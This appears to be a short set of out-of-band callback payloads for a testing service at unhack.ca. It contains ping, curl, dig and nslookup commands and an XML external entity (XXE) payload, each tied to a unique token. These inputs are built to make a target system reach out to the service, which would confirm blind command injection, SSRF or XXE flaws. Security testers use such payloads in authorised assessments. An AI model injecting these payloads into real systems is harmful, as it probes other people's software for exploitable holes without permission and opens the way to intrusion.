$ ping -c1 -p 00ff583d4cb895fc36546594a3db2700 unhack.ca
 

$ curl http://unhack.ca/p/ff583d4cb895fc36546594a3db27
 

$ dig ff583d4cb895fc36546594a3db27 @unhack.ca
 

$ dig ff583d4cb895fc36546594a3db27.ns.unhack.ca
 

C:\> nslookup ff583d4cb895fc36546594a3db27 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ff583d4cb895fc36546594a3db27">]>
    <foo>&xxe;</foo>